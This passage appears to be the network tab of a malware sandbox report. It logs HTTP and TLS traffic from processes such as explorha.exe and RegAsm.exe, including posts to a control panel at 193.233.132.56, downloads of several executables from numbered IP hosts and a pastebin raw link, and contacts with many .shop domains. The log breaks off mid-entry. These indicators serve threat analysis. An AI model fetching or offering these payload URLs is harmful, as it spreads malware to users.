                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:29 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: Apache/2.4.52 (Ubuntu)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Last-Modified: Mon, 06 May 2024 01:30:02 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ETag: "68201-617bf02241b52"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Accept-Ranges: bytes
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 426497
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-ru
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://file-file-host6.com/downloads/toolspub1.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    NewB.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    31.41.44.147:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET /downloads/toolspub1.exe HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: file-file-host6.com
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: nginx/1.20.2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:31 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 251392
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Last-Modified: Mon, 06 May 2024 01:31:02 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ETag: "3d600-617bf05b34793"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Accept-Ranges: bytes
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-ru
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://193.233.132.56/Pneh2sXQk0/index.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    193.233.132.56:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST /Pneh2sXQk0/index.php HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: 193.233.132.56
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:37 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-ru
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://193.233.132.234/files/setup.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    193.233.132.234:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET /files/setup.exe HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: 193.233.132.234
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:39 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Last-Modified: Sun, 05 May 2024 06:37:39 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ETag: "63aba2-617af307316c9"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Accept-Ranges: bytes
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 6532002
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: application/x-msdownload
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • flag-us
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://api.check-data.xyz/api2/google_api_ifi
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Remote address:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    35.82.94.151:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Request
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST /api2/google_api_ifi HTTP/1.1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/0 Safari/537.36
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Host: api.check-data.xyz
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 730
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Response
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP/1.1 200 OK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Access-Control-Allow-Origin: *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Cache-control: no-cache="set-cookie"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Date: Mon, 06 May 2024 01:31:58 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Set-Cookie: AWSELB=9327DF5F0AF3D375CDC9DE0AFF98FDC82A9589C9820401D99493DFDF796F3DAB0062EEFB3E4A533F5B2753F2532FBA9D17E5754692E8600D254000879A4CE3001E279F1EF5;PATH=/;MAX-AGE=43200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Content-Length: 0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Connection: keep-alive
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 193.233.132.56:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://193.233.132.56/Pneh2sXQk0/index.php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    explorha.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    151.6kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4.3MB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3136
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3126

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST http://193.233.132.56/Pneh2sXQk0/index.php

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST http://193.233.132.56/Pneh2sXQk0/index.php

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET http://193.233.132.56/lend/swiiiii.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST http://193.233.132.56/Pneh2sXQk0/index.php

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET http://193.233.132.56/lend/jok.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST http://193.233.132.56/Pneh2sXQk0/index.php

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET http://193.233.132.56/lend/swiiii.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST http://193.233.132.56/Pneh2sXQk0/index.php

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST http://193.233.132.56/Pneh2sXQk0/index.php

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET http://193.233.132.56/lend/gold.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST http://193.233.132.56/Pneh2sXQk0/index.php

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET http://193.233.132.56/lend/alexxxxxxxx.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    POST http://193.233.132.56/Pneh2sXQk0/index.php

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 172.67.181.34:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    affordcharmcropwo.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RegAsm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.6kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    7.5kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    13
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    12
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 104.21.72.132:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    cleartotalfisherwo.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RegAsm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.1kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    7.0kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 193.233.132.234:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://193.233.132.234/files/file300un.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    explorha.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    14.8kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    432.7kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    321
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    312

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET http://193.233.132.234/files/file300un.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 104.21.44.125:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    worryfillvolcawoi.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RegAsm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.1kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6.9kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 104.21.18.233:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    enthusiasimtitleow.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RegAsm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.1kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    7.0kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 104.21.22.160:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    dismissalcylinderhostw.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RegAsm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.1kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    7.0kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 185.215.113.67:26260
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    jok.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3.5MB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    55.7kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2558
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1115
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 104.21.23.143:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    diskretainvigorousiw.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RegAsm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.1kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6.5kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    9
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 104.21.83.19:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    communicationgenerwo.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RegAsm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.2kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    7.0kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    11
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    11
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 172.67.144.218:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    pillowbrocccolipe.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RegAsm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.1kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6.9kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    9
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 172.67.148.231:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    zippyfinickysofwps.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RegAsm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.6kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    7.6kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    13
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    14
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 104.21.59.156:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    acceptabledcooeprs.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RegAsm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.1kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6.6kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 104.21.20.88:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    obsceneclassyjuwks.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RegAsm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.1kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    7.0kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 172.67.173.139:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    miniaturefinerninewjs.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RegAsm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.1kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6.9kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    9
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 104.21.53.146:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    plaintediousidowsko.shop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    RegAsm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.1kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    7.0kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 104.21.79.77:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    https://yip.su/RNWPd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls, http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    985 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    14.2kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    14
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    19

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET https://yip.su/RNWPd.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 172.67.19.24:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    https://pastebin.com/raw/E0rY26ni
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls, http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    816 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6.2kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET https://pastebin.com/raw/E0rY26ni

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 185.172.128.59:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://185.172.128.59/ISetup5.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8.2kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    440.1kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    176
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    332

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET http://185.172.128.59/ISetup5.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 193.233.132.175:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://193.233.132.175/server/ww12/AppGate2103v01.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    133.6kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5.9MB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2619
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4227

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET http://193.233.132.175/server/ww12/AppGate2103v01.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 193.233.132.234:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://193.233.132.234/files/setup.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    130.5kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6.7MB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2691
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4833

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET http://193.233.132.234/files/setup.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    200

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET http://193.233.132.234/files/setup.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 193.233.132.234:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http://193.233.132.234/files/loader-2841.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    408 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    754 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    7
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET http://193.233.132.234/files/loader-2841.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    404
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 172.67.182.192:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    https://onlycitylink.com/baf14778c246e15550645e30ba78ce1c.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls, http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    848 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6.2kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET https://onlycitylink.com/baf14778c246e15550645e30ba78ce1c.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    307
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 172.67.193.79:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    https://realdeepai.org/6779d89b7a368f4f3f340b50a9d18d71.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls, http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    844 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6.2kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    11

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    GET https://realdeepai.org/6779d89b7a368f4f3f340b50a9d18d71.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    307
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 172.67.193.79:443
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    https://realdeepai.org/6779d89b7a368f4f3f340b50a9d18d71.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    tls, http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    regasm.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    844 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6.2kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    HTTP Request

